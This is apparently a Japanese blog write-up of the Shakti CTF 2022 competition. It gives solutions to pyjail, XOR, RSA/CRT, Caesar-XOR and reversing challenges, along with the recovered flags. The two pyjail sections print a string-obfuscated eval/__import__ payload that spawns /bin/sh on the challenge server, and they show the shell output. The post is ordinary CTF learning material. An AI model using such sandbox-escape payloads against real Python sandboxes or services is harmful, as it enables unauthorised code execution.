🌊

Shakti CTF (2022) に参加しました

2022/12/11に公開

結果

チーム参加。60位/387チーム

解けた問題

misc

  • level0[105 solves]
  • level1[94 solves]
  • Greeky Fix[80 solves]

cryptography

  • Eazy_peaZy[247 solves]
  • secRets_And_seCReTs[44 solves]
  • cAex0r[28 solves]

reversing

  • Love Calculator[143 solves]

level0 [105 solves]

Solve the 1st level of the pyjail series.

Note: The server is running on Ubuntu 20.04

Player's Tablet
Functions:
1. Run password cracker
2. Give up
Enter your choice: 1
Password cracker is running...
>>>

上のような感じのサーバーがある。問題文曰く、 pyjailをするっぽい。

ググってたら、それっぽいものを見つけたので、拝借したら運よくできてしまった。

Password cracker is running...
>>> __builtins__.__dict__['ev'+'al']('__imp'+'ort__(\"o'+'s\").sys'+'tem(\"/bin/sh\")')
ls
bin
boot
dev
etc
flag.txt
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
pyjail.py
root
run
sbin
srv
sys
tmp
usr
var

cat flag.txt
Congrats! You found the password.
But the game ain't over.....
shakti{7h47_w45_7Un!3a36rgjsk9}

shakti{7h47_w45_7Un!3a36rgjsk9}

「なんかよくわからないけど解けた」状態なので、復習をしようね。

level1 [94 solves]

Solve the level1 challenge of the pyjail series

Note: The server is running on Ubuntu 20.04

> nc 65.2.136.80 31690
You may have gotten out of the first room, but you're not out of the woods yet.
*********************************************************
This time, you find yourself in an corridor with an open door at the end.
But then the door opens, and you find a hoard of robots coming your way.
You need to find a way to stop them and get out of the corridor.
And for that, you need the kill code.
*********************************************************
Player's Tablet
Functions:
1. Crack kill code
2. Give up
Enter your choice: 1
Find the kill code...
>>>

「level 0」で使ったものがそのまま使えた

Find the kill code...
>>> __builtins__.__dict__['ev'+'al']('__imp'+'ort__(\"o'+'s\").sys'+'tem(\"/bin/sh\")')
ls
bin
boot
dev
etc
flag.txt
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
pyjail1.py
root
run
sbin
srv
sys
tmp
usr
var
cat flag.txt
The robots stop at once.You are saved!
But now you have to face the biggest challenge of all.
Word of advice,remember this:weYbdk9012ghiwh=0?
shakti{7h47_W45_4_Cl053_C4ll!!!}

shakti{7h47_W45_4_Cl053_C4ll!!!}

"That was a close call" か。明らかに非想定解だよなこれ

Greeky Fix [80 solves]

There is something greeky here.

key = chr(0x04) Z chr(0x01) Z chr(0x12) Z chr(0x0f) Z chr(0x1b) Z chr(0x04) Z chr(0x14) Z chr(0x1d) Z chr(0x15) Z chr(0x1f) Z chr(0x3a) Z chr(0x32) Z chr(0x05) Z chr(0x36) Z  chr(0x10) Z chr(0x54) Z chr(0x3d) Z chr(0x3f) Z chr(0x44) Z chr(0x0a) Z chr(0x44) Z chr(0x45) Z chr(0x4e) Z chr(0x10)
flag_list
new_secret
def secret_xor(secret, key):
    new_secret = (secret * (int(len(key)/len(secret))+1))[:len(key)]
    flag_list = [chr((ord(a) ^ ord(b))) for a,b in zip(new_secret, key)]
return "".join(flag_list)
    

flag = secret_xor(secret,key)

if flag = "":
    print("Oh ho!! U didn't get it right :(")
else:
    print(flag)

いろいろ怪しいpythonのコードらしきものが与えられる

Z+」みたいな感じで、構文的に怪しいところを直してみた

key = chr(0x04) + chr(0x01) + chr(0x12) + chr(0x0f) + chr(0x1b) + chr(0x04) + chr(0x14) + chr(0x1d) + chr(0x15) + chr(0x1f) + chr(0x3a) + chr(0x32) + chr(0x05) + chr(0x36) +  chr(0x10) + chr(0x54) + chr(0x3d) + chr(0x3f) + chr(0x44) + chr(0x0a) + chr(0x44) + chr(0x45) + chr(0x4e) + chr(0x10)
flag_list = []
new_secret = []
def secret_xor(secret, key):
    new_secret = (secret * (int(len(key)/len(secret))+1))[:len(key)]
    flag_list = [chr((ord(a) ^ ord(b))) for a,b in zip(new_secret, key)]
    return "".join(flag_list)
    

flag = secret_xor(secret, key) # secret は多分整数型の配列なんだろうね

if flag == "":
    print("Oh ho!! U didn't get it right :(")
else:
    print(flag)

文字列の最後の文字とkeyの最後の文字を重ねてストリーム暗号をしているプログラムだということが分かったので、探索するものを書いた

key = chr(0x04) + chr(0x01) + chr(0x12) + chr(0x0f) + chr(0x1b) + chr(0x04) + chr(0x14) + chr(0x1d) + chr(0x15) + chr(0x1f) + chr(0x3a) + chr(0x32) + chr(0x05) + chr(0x36) +  chr(0x10) + chr(0x54) + chr(0x3d) + chr(0x3f) + chr(0x44) + chr(0x0a) + chr(0x44) + chr(0x45) + chr(0x4e) + chr(0x10)

flag_prefix = 'shaktictf{'

for secret_len in range (1, len(flag_prefix) + 1):
    secret = [-1 for x in range(secret_len)]
    secret[-1:] = chr(ord(key[-1:]) ^ ord('}'))
    
    geta = len(key) % secret_len
    for i in range(secret_len):
        secret[(geta + i) % secret_len] = chr(ord(key[i]) ^ ord(flag_prefix[i]))
    
    s = ''
    for i in range(len(key)):
        s += chr(ord(key[i]) ^ ord(secret[i % secret_len]))
    
    print(s)

出力を目grepして、flagを得た

shaktictf{U_r_c0RR3c7!!}

Eazy_peaZy [247 solves]

Who knew encryption could be so simple?

flag='shaktictf{#####REDACTED#####}'
s=''
for i in flag:
    s+=chr((ord(i)-15))
print(base64.b64encode(bytes(s,'utf-8')))

#b'ZFlSXGVaVGVXbFRjamFlIVAiZFBkZmEkY1BWUmtqampqampQWFQlJCNlYyYnWCVlYyYlbg=='

逆順に処理をすればよい

shaktictf{crypt0_1s_sup3r_eazyyyyyy_gc432tr56g4tr54}

secRets_And_seCReTs [44 solves]

I think Sun Tzu forgot that greater the number of primes used, stronger would be the encryption.

chall.py
from Crypto.Util.number import *

flag=b"#########REDACTED#########"

n=[getPrime(512) for _ in range(3)]
n=[8722540009234070247614687250654407242443098960521889927638169603994447523278398949052234586867149142397946752296113268097476897402751079151430185069380019,
 7748390830619438628598461672002256107736202041283980575594114738792667049612675190299231384130518428001436332199784230830361296805998178862622627821106411,
 12992001107762284853924107072566691259373024612699267823574353409729296618405485466359139269067615966447864990530610158839653182793355847359198838835594411]
c=[1411653708282913345423368557671871591664438381629501903851153161454445916121359905705692712233369895756996170441640578174610106571066191790012378520429743,
 2861865990314714540093636102814256470323315183310888629544832686169355957218120916189696143602437816851535307621641620697566853687152831782355649417978952,
 376492284239858752271882252381292364517711829294783943816555345285629896042539317245807593032505251819708007746820040182429681780320868266166620015593930]

for i,j in zip(c,n):
    assert(x%j==i)

secret=4302040125834928853558463909476079954473400865172251180160558435767130753932883186010390855112227834689861010095690778866857294344059634143100709544931839088413113732983879851609646261868420370506958223094475800449942079286436722629516277911423054845515342792094987249059810059640127872352101234638506603087565277395480953387647118861450659688484283820336767116038031727190397533082113134466893728210621302098082671125283992902107359805546865262918787687109747546968842757321383287635483017116189825332578143804402313162547301864633478350112638450973130720295084401400762328157586821639409421465548080122760881528019152451981418066119560584988658928643613995792058313513615847754001837873387949017975912403754727304537758597079167674369192909953480861392310713676253433998929652777155332408050107725317676660176980502406301244129743702460065671633250603271650634176695472477451658931634382635748322647891956353158570635160043
e=65537
ct=16958627479063955348415964384163116282602743039742753852934410863378528486785270030162782732192537726709536924276654783411884139339994697205619239406660459997082991141519385345070967253589282293949945894128620519748508028990727998488399564805026414462500253524261007024303476629172149332624303860869360966809845919057766279471870925180603362418449119409436609700813481467972962774900963043970140554494187496533636616384537667808308555402187685194879588448942654070984762583024927082993513125305565020701004973206532961944433936049713847420474363949095844995122469523084865481364653146506752587869477287886906616275417

assert(long_to_bytes(pow(ct,d,secret//x))==flag.decode())

最後の行に注目してみると、 \frac{secret}{x} が、いつもの n に相当することがわかる。

x を求めることを考える。

x は、 n_i で割ったあまりが c_i である (i = 0, 1, 2) ので、中国剰余定理を利用して求めることができる。

nc = [(c[0], n[0]), (c[1], n[1]), (c[2], n[2])]

x, tmp_d = remainder(nc)

また、 x を素因数分解すると、 x が平方数であることが分かった。平方数の時の d は容易に求まるので、これで ct を復号することができる

p = gmpy2.iroot(N, 2)[0]

print(gmpy2.iroot(N, 2)[1])

phi = (p - 1) * p

d = pow(e, -1, phi)

from Crypto.Util.number import *

print(long_to_bytes(pow(ct,d,N)).decode('utf-8'))

shaktictf{w0w_you_kn0w_h0w_RSA_&_CRT_w0rks_!}

cAex0r [28 solves]

I tried to develop a new generator but I am not sure how it is working. Need some confirmation.

:::details与えられたデータ

D}」ZoサRoセYbソ[XッX;脱8坦M。Ao宗W①M敗W・0・g・gセS1「9ソMxソ?「;澵f
from secret import flag
from random import randint
from pwn import xor
from os import urandom
stride = randint(1,27)
s1 = flag[:len(flag)//2]
s2 = flag[len(flag)//2:]
key = urandom(3)

def cass (text,stride):
    u_alpha="ABCDEFGHIJKLMNOPQRSTUVWXYZ"
    l_alpha="abcdefghijklmnopqrstuvwxyz"
    enc_text = ""
    for i in text:
        if i>=65 and i<= 90:
            enc_text += u_alpha[(u_alpha.find(chr(i)) - stride)%26]
        elif i>=97 and i<= 122:
            enc_text += l_alpha[(l_alpha.find(chr(i)) - stride)%26]
        else:
            enc_text += chr(i)
    return enc_text.encode()

c = xor(cass(s1+s2,stride),key)
x = open("ciphertext.txt", "wb") 
x.write((c))

:::

大文字同士、小文字同士でROT stride してから、三文字のランダムな key を利用したストリーム暗号となっている。

flagの先頭が sha になることから、 stride を全探索することによって復元することができる。

u_alpha="ABCDEFGHIJKLMNOPQRSTUVWXYZ"
l_alpha="abcdefghijklmnopqrstuvwxyz"

x = open('ct.txt', 'rb').read()

def decass (text,stride):
    plain_text = []
    for i in text:
        if i >= 65 and i <= 90:
            plain_text.append((i - 65 + stride) % 26 + 65)
        elif i >= 97 and i <= 122:
            plain_text.append((i - 97 + stride) % 26 + 97)
        else:
            plain_text.append(i)
    return plain_text

for guess_stride in range(0, 26):
    k = ((ord('s') - 97 - guess_stride) % 26 + 97) ^ x[0]
    e = ((ord('h') - 97 - guess_stride) % 26 + 97) ^ x[1]
    y = ((ord('a') - 97 - guess_stride) % 26 + 97) ^ x[2]

    key = [k, e, y]

    tmp = []
    for i in range (64):
        tmp.append(x[i] ^ key[i % 3])
    
    pt_cand = decass(tmp, guess_stride)

    pt = ''
    for i in range(64):
        pt += chr(pt_cand[i])
    print(pt)

結果を目grepして、flagを得た

shaktictf{welCom3_t0_cRyptOo_WoRLD_77846b12bfd9b91ebce67b236aa4}

Love Calculator [143 solves]

Here is something you always wanted to stumble upon, A Love calculator...Go on and check your luck.

> ./chall
>>> Welcome to the Love Calculator! <<<
Please enter your name: www
Please enter your crush's name: 22
Calculating...

>>> Your love score is: 24% <<<

Not satisfied with the result? Try checking the source of this calculator then...Now try entering the passkey to get true results
Passkey: 

こんな感じに動く実行ファイルが与えられる。

radare2 で解析すると、途中でPasskeyを構築しているパートが見つかる。

単純に部分文字列をstrcatで結合しているだけだったので、気合で結合した。

Passkey: l3t5_s0lv3_m0r3_ch4ll3ng3s

Your love score is: 100%
Congratulations! You have found the flag!

Flag: shaktictf{l3t5_s0lv3_m0r3_ch4ll3ng3s}

shaktictf{l3t5_s0lv3_m0r3_ch4ll3ng3s}

こういうのを、気合じゃない方法で解きたいよね

最後に

一緒に出ていたチームメイトがWeb問を全完していました。まけてらんねぇ

Discussion